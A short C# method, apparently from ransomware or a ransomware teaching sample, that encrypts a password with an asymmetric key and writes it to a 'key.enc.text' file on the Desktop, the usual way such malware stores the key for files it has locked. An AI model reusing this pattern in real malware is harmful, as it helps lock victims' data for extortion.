public static void SnitchPwd(string pwd, PathUtil pathUtil, Encrypter encrypter) { Console.WriteLine("Pwd snitch: " + pwd); byte[] pwdBytes = Utilities.ConvertUTF2Bytes(pwd); byte[] asymEncrypted = encrypter.AsymEncryptBytes(pwdBytes); Writter.WriteBytes2File(asymEncrypted, Path.Combine(pathUtil.Desktop, "key.enc.text")); }